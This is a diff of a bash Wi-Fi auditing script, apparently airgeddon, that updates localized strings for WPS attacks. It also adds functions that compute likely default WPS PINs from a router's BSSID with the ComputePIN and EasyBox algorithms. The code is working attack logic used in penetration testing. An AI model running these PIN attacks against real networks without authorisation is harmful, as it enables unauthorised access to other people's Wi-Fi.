arr["ENGLISH",350]="${blue_color}You have selected a locked WPS network ${green_color}Do you want to continue? ${normal_color}[y/n]" arr["SPANISH",350]="${blue_color}Has seleccionado una red WPS bloqueada ${green_color}¿Deseas continuar? ${normal_color}[y/n]" arr["FRENCH",350]="${blue_color}Vous avez sélectionné un réseau dont le WPS est bloqué ${green_color}Voulez-vous continuer? ${normal_color}[y/n]" - arr["CATALAN",350]="${pending_of_translation} ${blue_color}Has seleccionat una xarxa WPS bloquejada ${green_color}¿Vols continuar? ${normal_color}[y/n]" + arr["CATALAN",350]="${blue_color}Has seleccionat una xarxa WPS bloquejada ${green_color}¿Vols continuar? ${normal_color}[y/n]" arr["PORTUGUESE",350]="${blue_color}Você selecionou uma rede com WPS bloqueado ${green_color}Você deseja continuar? ${normal_color}[y/n]" arr["RUSSIAN",350]="${blue_color}Вы выбрали заблокированную WPS сеть ${green_color}Вы хотите продолжить? ${normal_color}[y/n]" arr["GREEK",350]="${blue_color}Έχετε επιλέξει ένα κλειδωμένο WPS δίκτυο ${green_color}Θέλετε να συνεχίσετε; ${normal_color}[y/n]" @@ -3296,7 +3300,7 @@ function language_strings() { arr["ENGLISH",351]="WPS locked network: ${pink_color}${wps_locked}${normal_color}" arr["SPANISH",351]="Red WPS bloqueada: ${pink_color}${wps_locked}${normal_color}" arr["FRENCH",351]="Blocage du WPS: ${pink_color}${wps_locked}${normal_color}" - arr["CATALAN",351]="${pending_of_translation} Xarxa WPS bloquejada: ${pink_color}${wps_locked}${normal_color}" + arr["CATALAN",351]="Xarxa WPS bloquejada: ${pink_color}${wps_locked}${normal_color}" arr["PORTUGUESE",351]="Rede com WPS bloqueado: ${pink_color}${wps_locked}${normal_color}" arr["RUSSIAN",351]="Сеть с заблокированным WPS: ${pink_color}${wps_locked}${normal_color}" arr["GREEK",351]="Κλειδωμένο WPS δίκτυο: ${pink_color}${wps_locked}${normal_color}" @@ -3304,7 +3308,7 @@ function language_strings() { arr["ENGLISH",352]="WPS locked network: ${pink_color}None${normal_color}" arr["SPANISH",352]="Red WPS bloqueada: ${pink_color}Ninguno${normal_color}" arr["FRENCH",352]="Blocage du WPS: ${pink_color}Aucun${normal_color}" - arr["CATALAN",352]="${pending_of_translation} Xarxa WPS bloquejada: ${pink_color}Ningú${normal_color}" + arr["CATALAN",352]="Xarxa WPS bloquejada: ${pink_color}Ningú${normal_color}" arr["PORTUGUESE",352]="rede com WPS bloqueado: ${pink_color}Nenhum${normal_color}" arr["RUSSIAN",352]="Сеть с заблокированным WPS: ${pink_color}Нет${normal_color}" arr["GREEK",352]="Κλειδωμένο WPS δίκτυο: ${pink_color}Κανένα${normal_color}" @@ -3312,7 +3316,7 @@ function language_strings() { arr["ENGLISH",353]="Checking to solve possible \"bad FCS\" problem if exists. Parameterizing..." arr["SPANISH",353]="Realizando una pequeña prueba para solventar el posible problema de \"bad FCS\" si existiese. Parametrizando..." arr["FRENCH",353]="Vérification de routine pour prévenir une éventuelle erreur de type \"bad FCS\"" - arr["CATALAN",353]="${pending_of_translation} Mitjançant una petita prova per solucionar el possible problema de \"bad FCS\" si existís. Parametritzant..." + arr["CATALAN",353]="Realitzant una petita prova per solucionar el possible problema de \"bad FCS\" si existís. Parametritzant..." arr["PORTUGUESE",353]="Fazendo alguns teste para resolver o possível problema \"bad FCS\". Definindo parâmetro..." arr["RUSSIAN",353]="Проверка возможного решения проблемы \"плохого FCS (контроля последовательности кадров)\" если она существует. Параметризация..." arr["GREEK",353]="Γίνεται έλεγχος επίλυσης πιθανού σφάλματος \"bad FCS\" αν υπάρχει. Γίνεται παραμετροποίηση..." @@ -3320,7 +3324,7 @@ function language_strings() { arr["ENGLISH",354]="Done! parameter set" arr["SPANISH",354]="Hecho! parámetro fijado" arr["FRENCH",354]="Paramètres définis!" - arr["CATALAN",354]="${pending_of_translation} Fet! paràmetre fixat" + arr["CATALAN",354]="Fet! paràmetre fixat" arr["PORTUGUESE",354]="Feito! parâmetro definido" arr["RUSSIAN",354]="Сделано! параметры заданы" arr["GREEK",354]="Έγινε! η παράμετρος τέθηκε" @@ -3328,7 +3332,7 @@ function language_strings() { arr["ENGLISH",355]="It seems this interface was parametrized before. It's not necessary to check again" arr["SPANISH",355]="Esta interfaz ya fue parametrizada anteriormente. No es necesario realizar de nuevo el chequeo" arr["FRENCH",355]="Cette interface a déjà été configurée: Pas besoin de vérifier de nouevau son état" - arr["CATALAN",355]="${pending_of_translation} Aquesta interfície ja va ser parametritzada anteriorment. No cal fer de nou la revisió" + arr["CATALAN",355]="Sembla que aquesta interfície va ser parametritzada abans. No cal verificar-ho de nou" arr["PORTUGUESE",355]="Esta interface já foi configurada anteriormente. Não é necessário verificar novamente" arr["RUSSIAN",355]="Кажется, этот интерфейс был параметризован ранее. Нет необходимости проверять снова" arr["GREEK",355]="Φαίνεται πως αυτή η διεπαφή παραμετροποιήθηκε προηγουμένως. Δεν είναι απαραίτητο να γίνει έλεγχος ξανά" @@ -3336,7 +3340,7 @@ function language_strings() { arr["ENGLISH",356]="Some combinations don't work well. Such as reaver and Ralink chipset cards. If your card has this chipset is recommended to use bully" arr["SPANISH",356]="Algunas combinaciones no funcionan bien. Como por ejemplo reaver y las tarjetas con chipset Ralink. Si tu tarjeta tiene este chipset es mejor utilizar bully" arr["FRENCH",356]="Il existe certains problèmes spécifiques de compatibilité. L’exemple le plus marquant est sans aucun doute celui des chipsets Ralink qui ne fonctionnent pas bien avec reaver. Il est donc conseillé d'utiliser bully avec ces chipsets" - arr["CATALAN",356]="${pending_of_translation} Algunes combinacions no funcionan bé. Com per exemple reaver i les targetes amb chipset Ralink. Si la teva targeta té aquest chipset és millor utilitzar bully" + arr["CATALAN",356]="Algunes combinacions no funcionan bé. Com per exemple Reaver i les targetes amb chipset Ralink. Si la teva targeta té aquest chipset és millor utilitzar bully" arr["PORTUGUESE",356]="Algumas combinações não funcionam bem. Tais como reaver e placas de rede com chipset Ralink. Se o sua placa de rede tem este chipset é melhor usar bully" arr["RUSSIAN",356]="Некоторые комбинации не работают нормально. К примеру reaver и карты с чипсетом Ralink. Если ваша карта имеет этот чипсет, то рекомендуется использовать bully" arr["GREEK",356]="Μερικοί συνδυασμοί δεν λειτουργούν καλά. Όπως για παράδειγμα το reaver με κάρτες που έχουν Ralink chipset. Αν η κάρτα σας έχει αυτό το chipset είναι προτιμότερο να χρησιμοποιήσετε το bully" @@ -3344,7 +3348,7 @@ function language_strings() { arr["ENGLISH",357]="6. (reaver) Custom PIN association" arr["SPANISH",357]="6. (reaver) Asociación con PIN personalizado" arr["FRENCH",357]="6. (reaver) Association avec le code PIN personnalisé" - arr["CATALAN",357]="${pending_of_translation} 6. (reaver) Associació amb PIN personalitzat" + arr["CATALAN",357]="6. (reaver) Associació amb PIN personalitzat" arr["PORTUGUESE",357]="6. (reaver) Associação com o PIN personalizado" arr["RUSSIAN",357]="6. (reaver) Пользовательские PIN ассоциации" arr["GREEK",357]="6. (reaver) Σύνδεση με εξατομικευμένο PIN" @@ -3352,7 +3356,7 @@ function language_strings() { arr["ENGLISH",358]="8. (reaver) Pixie Dust attack" arr["SPANISH",358]="8. (reaver) Ataque Pixie Dust" arr["FRENCH",358]="8. (reaver) Attaque Pixie Dust" - arr["CATALAN",358]="${pending_of_translation} 8. (reaver) Atac Pixie Dust" + arr["CATALAN",358]="8. (reaver) Atac Pixie Dust" arr["PORTUGUESE",358]="8. (reaver) Ataque Pixie Dust" arr["RUSSIAN",358]="8. (reaver) Атака Pixie Dust" arr["GREEK",358]="8. (reaver) Επίθεση Pixie Dust" @@ -3360,7 +3364,7 @@ function language_strings() { arr["ENGLISH",359]="10. (reaver) Bruteforce PIN attack" arr["SPANISH",359]="10. (reaver) Ataque de fuerza bruta por PIN" arr["FRENCH",359]="10. (reaver) Attaque de force brute PIN" - arr["CATALAN",359]="${pending_of_translation} 10. (reaver) Atac de força bruta per PIN" + arr["CATALAN",359]="10. (reaver) Atac de força bruta per PIN" arr["PORTUGUESE",359]="10. (reaver) Ataque de força bruta por PIN" arr["RUSSIAN",359]="10. (reaver) Атака перебором PIN" arr["GREEK",359]="10. (reaver) Επίθεση PIN με χρήση ωμής βίας" @@ -3368,7 +3372,7 @@ function language_strings() { arr["ENGLISH",360]="12. (reaver) Known PINs database based attack" arr["SPANISH",360]="12. (reaver) Ataque basado en base de datos de PINs conocidos" arr["FRENCH",360]="12. (reaver) Attaque en utilisant la base de données de PIN connus" - arr["CATALAN",360]="${pending_of_translation} 12. (reaver) Atac basat en base de dades de PINs coneguts" + arr["CATALAN",360]="12. (reaver) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",360]="12. (reaver) Ataque com base em banco de dados de PINs conhecidos" arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных PIN" arr["GREEK",360]="12. (reaver) Επίθεση με χρήση γνωστής βάσης δεδομένων PIN" @@ -3384,7 +3388,7 @@ function language_strings() { arr["ENGLISH",362]="Custom PIN set to ${normal_color}${custom_pin}" arr["SPANISH",362]="PIN personalizado elegido ${normal_color}${custom_pin}" arr["FRENCH",362]="PIN personnalisé définit ${normal_color}${custom_pin}" - arr["CATALAN",362]="${pending_of_translation} PIN personalitzat triat ${normal_color}${custom_pin}" + arr["CATALAN",362]="PIN personalitzat triat ${normal_color}${custom_pin}" arr["PORTUGUESE",362]="PIN personalizado escolhido ${normal_color}${custom_pin}" arr["RUSSIAN",362]="Пользовательский PIN установлен на ${normal_color}${custom_pin}" arr["GREEK",362]="Το εξατομικευμένο PIN τέθηκε σε ${normal_color}${custom_pin}" @@ -3392,7 +3396,7 @@ function language_strings() { arr["ENGLISH",363]="Type custom PIN :" arr["SPANISH",363]="Escribe el PIN personalizado :" arr["FRENCH",363]="Rentrez PIN personnalisé :" - arr["CATALAN",363]="${pending_of_translation} Escriu el PIN personalitzat :" + arr["CATALAN",363]="Escriu el PIN personalitzat :" arr["PORTUGUESE",363]="Escreva o ESSID do alvo :" arr["RUSSIAN",363]="Напишите пользовательский PIN :" arr["GREEK",363]="Πληκτρολογήστε εξατομικευμένο PIN :" @@ -3416,7 +3420,7 @@ function language_strings() { arr["ENGLISH",366]="After stopping the attack (using [Ctrl+C]), the window will not be closed automatically. So you'll have time to write down the password if successful. You'll have to close it manually" arr["SPANISH",366]="Tras parar el ataque (usando [Ctrl+C]), la ventana del ataque no se cerrará automáticamente. Asi tendrás tiempo de anotar la contraseña en caso de tener éxito. Tendrás que cerrarla manualmente" arr["FRENCH",366]="Après l'arrêt de l'attaque (en utilisant [Ctrl+C]), la fenêtre ne se ferme pas automatiquement. Afin de vous laisser le temps d'écrire le mot de passe en cas de succès. Vous devrez la fermer manuellement" - arr["CATALAN",366]="${pending_of_translation} Després parar l'atac (usant [Ctrl+C]), la finestra de l'atac no es tancarà automàticament. Així tindràs temps d'anotar la contrasenya en cas de tenir èxit. Hauràs de tancar-la manualment" + arr["CATALAN",366]="Després de parar l'atac (usant [Ctrl+C]), la finestra de l'atac no es tancarà automàticament. Així tindràs temps d'anotar la contrasenya en cas de tenir èxit. Hauràs de tancar-la manualment" arr["PORTUGUESE",366]="Depois de parar o ataque (usando [Ctrl+C]), a janela não será fechada automaticamente. Então temos tempo para anotar a senha em caso ela tenha sido obtida. Em seguida você vai ter que fechar a janela manualmente" arr["RUSSIAN",366]="После остановки атаки (используя [Ctrl+C]), окно автоматически не закроется. У вас будет время переписать пароль, если атака завершилась успешно. Затем вам нужно закрыть его вручную" arr["GREEK",366]="Μετά τη διακοπή της επίθεσης (με [Ctrl+C]), το παράθυρο δεν θα κλείσει αυτόματα. Έτσι θα έχετε χρόνο να κρατήσετε τον κωδικό πρόσβασης σε περίπτωση επιτυχίας. Το παράθυρο θα πρέπει να το κλείσετε χειροκίνητα" @@ -3424,7 +3428,7 @@ function language_strings() { arr["ENGLISH",367]="You have bully installed (v${bully_version}), but not required version. To perform Pixie Dust integrated bully attack you must have at least version v${minimum_bully_pixiewps_version}" arr["SPANISH",367]="Tienes bully instalado (v${bully_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con bully has de tener al menos la versión v${minimum_bully_pixiewps_version}" arr["FRENCH",367]="Bully est installé (v${bully_version}) mais ce n'est pas la bonne version. Vous devez avoir au moins la version v${minimum_bully_pixiewps_version} pour la compatibilité pixie dust" - arr["CATALAN",367]="${pending_of_translation} Tens bully instal·lat (v${bully_version}), encara que no la versió requerida. Per realitzar l'atac Pixie Dust integrat amb bully has de tenir almenys la versió v${minimum_bully_pixiewps_version}" + arr["CATALAN",367]="Tens bully instal·lat (v${bully_version}), encara que no és la versió requerida. Per realitzar l'atac Pixie Dust integrat amb bully has de tenir almenys la versió v${minimum_bully_pixiewps_version}" arr["PORTUGUESE",367]="Você tem o bully instalado (v${bully_version}), mas não a versão necessária. Para fazer o ataque Pixie Dust com bully você precisa ter pelo menos a versão v${minimum_bully_pixiewps_version}" arr["RUSSIAN",367]="У вас установлен bully (v${bully_version}), но не та версия, которая требуется. Для выполнения интегрированной в bully атаки Pixie Dust у вас должна быть по крайне мере версия v${minimum_bully_pixiewps_version}" arr["GREEK",367]="Έχετε εγκατεστημένο το bully (v${bully_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο bully θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_bully_pixiewps_version}" @@ -3432,7 +3436,7 @@ function language_strings() { arr["ENGLISH",368]="You have bully installed (v${bully_version}). You meet the version requirement to perform Pixie Dust integrated bully attack (minimum version v${minimum_bully_pixiewps_version}). Script can continue..." arr["SPANISH",368]="Tienes bully instalado (v${bully_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con bully (versión mínima v${minimum_bully_pixiewps_version}). El script puede continuar..." arr["FRENCH",368]="Bully est installé (v${bully_version}). Cette version est compatible avec l'attaque pixie dust (version minimale v${minimum_bully_pixiewps_version}). Le script peut continuer..." - arr["CATALAN",368]="${pending_of_translation} Tens bully instal·lat (v${bully_version}). Compleixes amb el requisit de versió per a realitzar l'atac Pixie Dust integrat amb bully (versió mínima v${minimum_bully_pixiewps_version}). El script pot continuar..." + arr["CATALAN",368]="Tens bully instal·lat (v${bully_version}). Compleixes amb el requisit de versió per realitzar l'atac Pixie Dust integrat amb bully (versió mínima v${minimum_bully_pixiewps_version}). El script pot continuar..." arr["PORTUGUESE",368]="Você tem o bully instalado (v${bully_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com bully (versão mínima v${minimum_bully_pixiewps_version}). O script pode continuar..." arr["RUSSIAN",368]="У вас установлен bully (v${bully_version}). Версия удовлетворяет требованиям для проведения интегрированной в bully атаки Pixie Dust (минимальная версия v${minimum_bully_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",368]="Έχετε εγκατεστημένο το bully (v${bully_version}). Έχετε την απαραίτητη έκδοση bully (ελάχιστη έκδοση v${minimum_bully_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο bully. Το script μπορεί να συνεχίσει..." @@ -3440,7 +3444,7 @@ function language_strings() { arr["ENGLISH",369]="To perform the Pixie Dust integrated attack with reaver or bully, you must have installed at least ${minimum_reaver_pixiewps_version} version for reaver and ${minimum_bully_pixiewps_version} for bully" arr["SPANISH",369]="Para realizar el ataque Pixie Dust integrado con reaver o con bully, has de tener instalada como mínimo la versión ${minimum_reaver_pixiewps_version} para reaver y ${minimum_bully_pixiewps_version} para bully" arr["FRENCH",369]="Les versions minimales requises de reaver et bully pour l'attaque pixie wps sont reaver ${minimum_reaver_pixiewps_version} et bully ${minimum_bully_pixiewps_version}" - arr["CATALAN",369]="${pending_of_translation} Per realitzar l'atac Pixie Dust integrat amb reaver o amb bully, has de tenir instal·lada com a mínim la versió ${minimum_reaver_pixiewps_version} per reaver i ${minimum_bully_pixiewps_version} per bully" + arr["CATALAN",369]="Per realitzar l'atac Pixie Dust integrat amb reaver o amb bully, has de tenir instal·lada com a mínim la versió ${minimum_reaver_pixiewps_version} per reaver i ${minimum_bully_pixiewps_version} per bully" arr["PORTUGUESE",369]="Para executar o ataque Pixie Dust com reaver ou bully, é necessário ter instalado pelo menos a versão ${minimum_reaver_pixiewps_version} para o reaver e ${minimum_bully_pixiewps_version} para o bully" arr["RUSSIAN",369]="Для выполнения интегрированной атаки Pixie Dust с reaver или bully, у вас должна быть установлена, по крайней мере, версия ${minimum_reaver_pixiewps_version} для reaver и ${minimum_bully_pixiewps_version} для bully" arr["GREEK",369]="Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver ή bully, θα πρέπει να έχετε εγκαταστημένη τουλάχιστον την έκδοση ${minimum_reaver_pixiewps_version} για reaver και ${minimum_bully_pixiewps_version} για bully" @@ -3448,7 +3452,7 @@ function language_strings() { arr["ENGLISH",370]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform Pixie Dust integrated reaver attack (minimum version v${minimum_reaver_pixiewps_version}). Script can continue..." arr["SPANISH",370]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con reaver (versión minima v${minimum_reaver_pixiewps_version}). El script puede continuar..." arr["FRENCH",370]="Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque pixie dust (version minimale: ${minimum_reaver_pixiewps_version}). Le script peut continuer..." - arr["CATALAN",370]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac Pixie Dust integrat amb reaver (versió mínima v${minimum_reaver_pixiewps_version}). El script pot continuar..." + arr["CATALAN",370]="Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac Pixie Dust integrat amb reaver (versió mínima v${minimum_reaver_pixiewps_version}). El script pot continuar..." arr["PORTUGUESE",370]="Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com reaver (versão mínima v${minimum_reaver_pixiewps_version}). O script pode continuar..." arr["RUSSIAN",370]="У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки Pixie Dust (минимальная версия v${minimum_reaver_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",370]="Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." @@ -3456,7 +3460,7 @@ function language_strings() { arr["ENGLISH",371]="You have reaver installed (v${reaver_version}), but not required version. To perform Pixie Dust integrated reaver attack you must have at least version v${minimum_reaver_pixiewps_version}" arr["SPANISH",371]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con reaver has de tener al menos la versión v${minimum_reaver_pixiewps_version}" arr["FRENCH",371]="Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque pixie dust. Version minimale requise: v${minimum_reaver_pixiewps_version}" - arr["CATALAN",371]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}), encara que no la versió requerida. Per realitzar l'atac Pixie Dust integrat amb reaver has de tenir almenys la versió v${minimum_reaver_pixiewps_version}" + arr["CATALAN",371]="Tens reaver instal·lat (v${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac Pixie Dust integrat amb reaver has de tenir almenys la versió v${minimum_reaver_pixiewps_version}" arr["PORTUGUESE",371]="Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque reaver integrado Pixie Dust tem que ter pelo menos a versão v${minimum_reaver_pixiewps_version}" arr["RUSSIAN",371]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки Pixie Dust у вас должна быть по крайней мере v${minimum_reaver_pixiewps_version}" arr["GREEK",371]="Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_pixiewps_version}" @@ -3557,6 +3561,62 @@ function language_strings() { arr["RUSSIAN",383]="${pending_of_translation} Кажется, есть файл базы данных PINs более последнюю дату. Он будет загружен..." arr["GREEK",383]="${pending_of_translation} Φαίνεται ότι υπάρχει ένα αρχείο κωδικών PINs της βάσης δεδομένων πιο up-to-ημερομηνία. Θα κατέβει..." + arr["ENGLISH",384]="Searching in PINs database. Please be patient..." + arr["SPANISH",384]="Buscando en la base de datos de PINs. Por favor ten paciencia..." + arr["FRENCH",384]="${pending_of_translation} Recherche des codes PIN de base de données. Soyez patients s'il vous plaît..." + arr["CATALAN",384]="${pending_of_translation} Buscant a la base de dades de PINs. Si us plau té paciència..." + arr["PORTUGUESE",384]="${pending_of_translation} Pesquisando os PINs de banco de dados. Por favor, seja paciente..." + arr["RUSSIAN",384]="${pending_of_translation} Поиск в базе данных PINs. Додождите немного..." + arr["GREEK",384]="${pending_of_translation} Ψάχνοντας στη βάση δεδομένων κωδικών PINs. Παρακαλώ κάντε υπομονή..." + + arr["ENGLISH",385]="Only one match found in the PINs database" + arr["SPANISH",385]="Se ha encontrado sólo una coincidencia en la base de datos de PINs" + arr["FRENCH",385]="${pending_of_translation} Seulement trouvé une correspondance dans les PINs de base de données" + arr["CATALAN",385]="${pending_of_translation} S'ha trobat només una coincidència a la base de dades de PINs" + arr["PORTUGUESE",385]="${pending_of_translation} Só encontrei um jogo nas PINs de banco de dados" + arr["RUSSIAN",385]="${pending_of_translation} Только один матч найден в базе данных PINs" + arr["GREEK",385]="${pending_of_translation} Μόνο ένας αγώνας που βρέθηκαν στη βάση δεδομένων κωδικών PINs" + + arr["ENGLISH",386]="${counter_pins_found} matching PINs have been found in the PINs database" + arr["SPANISH",386]="Se han encontrado ${counter_pins_found} PINs coincidentes en la base de datos de PINs" + arr["FRENCH",386]="${pending_of_translation} Trouvé ${counter_pins_found} PINs correspondant dans les PINs de base de données" + arr["CATALAN",386]="${pending_of_translation} S'han trobat ${counter_pins_found} PINs coincidents a la base de dades de PINs" + arr["PORTUGUESE",386]="${pending_of_translation} Encontrados ${counter_pins_found} PINs correspondentes nas PINs de banco de dados" + arr["RUSSIAN",386]="${pending_of_translation} ${counter_pins_found} соответствие ПИНы были найдены в базе данных PINs" + arr["GREEK",386]="${pending_of_translation} ${counter_pins_found} ταιριάζουν τα PINs έχουν βρεθεί στη βάση δεδομένων κωδικών PINs" + + arr["ENGLISH",387]="No matches found in the PINs database" + arr["SPANISH",387]="No se ha encontrado ninguna coincidencia en la base de datos de PINs" + arr["FRENCH",387]="${pending_of_translation} Rien trouvé aucune correspondance dans les PINs de base de données" + arr["CATALAN",387]="${pending_of_translation} No s'ha trobat cap coincidència a la base de dades de PINs" + arr["PORTUGUESE",387]="${pending_of_translation} Nada encontrado nenhum fósforo nas PINs de banco de dados" + arr["RUSSIAN",387]="${pending_of_translation} Нет совпадений найдено в базе данных PINs" + arr["GREEK",387]="${pending_of_translation} Δεν βρέθηκαν στη βάση δεδομένων κωδικών PINs αγώνες" + + arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms..." + arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes..." + arr["FRENCH",388]="${pending_of_translation} Le calcul et l'ajout de PINs possibles en utilisant des algorithmes connus communs..." + arr["CATALAN",388]="${pending_of_translation} Calculant i afegint possibles PINs usant algoritmes coneguts comuns..." + arr["PORTUGUESE",388]="${pending_of_translation} Cálculo e adicionando possíveis PINs usando algoritmos conhecidos comuns..." + arr["RUSSIAN",388]="${pending_of_translation} Вычисление и добавление возможных PINs с использованием обычных известных алгоритмов..." + arr["GREEK",388]="${pending_of_translation} Υπολογισμού και προσθέτοντας το δυνατόν τα PINs χρήση κοινών γνωστών αλγορίθμων..." + + arr["ENGLISH",389]="PINs calculated by algorithms have been added. The attack will be launched with a total of ${counter_pins_found} PINs" + arr["SPANISH",389]="Se han añadido PINs calculados por los algoritmos. El ataque se lanzará con un total de ${counter_pins_found} PINs" + arr["FRENCH",389]="${pending_of_translation} Ils ont été ajoutés PINs calculées au moyen d'algorithmes. L'attaque sera lancée avec un total de ${counter_pins_found} PINs" + arr["CATALAN",389]="${pending_of_translation} S'han afegit PINs calculats pels algoritmes. L'atac es llançarà amb un total de ${counter_pins_found} PINs" + arr["PORTUGUESE",389]="${pending_of_translation} Eles foram adicionados PINs calculados por algoritmos. O ataque será lançado com um total de ${counter_pins_found} PINs" + arr["RUSSIAN",389]="${pending_of_translation} PINs, рассчитанные с помощью алгоритмов, которые были добавлены. Атака будет запущен в общей сложности ${counter_pins_found} PINs" + arr["GREEK",389]="${pending_of_translation} Οι αριθμοί PINs που υπολογίζονται από αλγόριθμους έχουν προστεθεί. Η επίθεση θα ξεκινήσει με συνολικά ${counter_pins_found} κωδικών PINs" + + arr["ENGLISH",390]="Some access points have PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" + arr["SPANISH",390]="Algunos puntos de acceso tienen activado PBC (Push Button Connect) y no podras conectar por WPS si no se pulsa el boton físico del mismo" + arr["FRENCH",390]="${pending_of_translation} Certains points d'accès ont permis PBC (Push Button Connect) et vous ne pouvez pas vous connecter via WPS si le même bouton physique est pressé" + arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" + arr["PORTUGUESE",390]="${pending_of_translation} Alguns pontos de acesso têm permitido PBC (Push Button Connect) e você não pode se conectar via WPS se o mesmo botão físico é pressionado" + arr["RUSSIAN",390]="${pending_of_translation} Некоторые точки доступа имеют PBC (Push Button Connect) включен, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку на устройстве" + arr["GREEK",390]="${pending_of_translation} Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) είναι ενεργοποιημένη και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το φυσικό κουμπί στη συσκευή" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" @@ -3577,6 +3637,9 @@ function language_strings() { "pink") echo_pink "${arr[${1},${2}]}" ;; + "white") + echo_white "${arr[${1},${2}]}" + ;; "title") generate_dynamic_line "${arr[${1},${2}]}" "title" ;; @@ -3811,6 +3874,147 @@ function check_interface_coherence() { return ${interface_auto_change} } +#Prepare the vars to be used on wps pin database attacks +function set_wps_mac_parameters() { + + six_wpsbssid_first_digits=${wps_bssid:0:8} + six_wpsbssid_first_digits_clean=${six_wpsbssid_first_digits//:} + six_wpsbssid_last_digits=${wps_bssid: -8} + six_wpsbssid_last_digits_clean=${six_wpsbssid_last_digits//:} + four_wpsbssid_last_digits=${wps_bssid: -5} + four_wpsbssid_last_digits_clean=${four_wpsbssid_last_digits//:} +} + +#Calculate pin based on Zhao Chunsheng algorithm (computepin), step 1 +function calculate_computepin_algorithm_step1() { + + hex_to_dec=$(printf '%d\n' 0x"${six_wpsbssid_last_digits_clean}") 2> /dev/null + computepin_pin=$((hex_to_dec % 10000000)) +} + +#Calculate pin based on Zhao Chunsheng algorithm (computepin), step 2 +function calculate_computepin_algorithm_step2() { + + computepin_pin=$(printf '%08d\n' $((10#${computepin_pin} * 10 + checksum_digit))) +} + +#Calculate pin based on Stefan Viehböck algorithm (easybox) +function calculate_easybox_algorithm() { + + hex_to_dec=($(printf "%04d" "0x${four_wpsbssid_last_digits_clean}" | sed 's/.*\(....\)/\1/;s/./& /g')) + [[ ${four_wpsbssid_last_digits_clean} =~ ${four_wpsbssid_last_digits_clean//?/(.)} ]] && hexi=($(printf '%s\n' "${BASH_REMATCH[*]:1}")) + + c1=$(printf "%d + %d + %d + %d" "${hex_to_dec[0]}" "${hex_to_dec[1]}" "0x${hexi[2]}" "0x${hexi[3]}") + c2=$(printf "%d + %d + %d + %d" "0x${hexi[0]}" "0x${hexi[1]}" "${hex_to_dec[2]}" "${hex_to_dec[3]}") + + K1=$((c1 % 16)) + K2=$((c2 % 16)) + X1=$((K1 ^ hex_to_dec[3])) + X2=$((K1 ^ hex_to_dec[2])) + X3=$((K1 ^ hex_to_dec[1])) + Y1=$((K2 ^ 0x${hexi[1]})) + Y2=$((K2 ^ 0x${hexi[2]})) + Z1=$((0x${hexi[2]} ^ hex_to_dec[3])) + Z2=$((0x${hexi[3]} ^ hex_to_dec[2])) + + easybox_pin=$(printf '%08d\n' "$((0x$X1$X2$Y1$Y2$Z1$Z2$X3))" | rev | cut -c -7 | rev) +} + +#Calculate the last digit on pin following the checksum rule +function pin_checksum_rule() { + + current_calculated_pin=$((10#${1} * 10)) + + accum=0 + accum=$((accum + 3 * (current_calculated_pin/10000000 % 10))) + accum=$((accum + current_calculated_pin/1000000 % 10)) + accum=$((accum + 3 * (current_calculated_pin/100000 % 10))) + accum=$((accum + current_calculated_pin/10000 % 10)) + accum=$((accum + 3 * (current_calculated_pin/1000 % 10))) + accum=$((accum + current_calculated_pin/100 % 10)) + accum=$((accum + 3 * (current_calculated_pin/10 % 10))) + + control_digit=$((accum % 10)) + checksum_digit=$((10 - control_digit)) + checksum_digit=$((checksum_digit % 10)) +} + +#Manage the calls to check common wps pin algorithms +function check_and_set_common_algorithms() { + + echo + language_strings "${language}" 388 "blue" + declare -g calculated_pins=("${wps_default_generic_pin}") + + calculate_computepin_algorithm_step1 + pin_checksum_rule "${computepin_pin}" + calculate_computepin_algorithm_step2 + calculated_pins+=("${computepin_pin}") + + calculate_easybox_algorithm + pin_checksum_rule "${easybox_pin}" + easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit))) + calculated_pins+=("${easybox_pin}") + + integrate_algorithms_pins + if [ "$?" = "0" ]; then + echo + 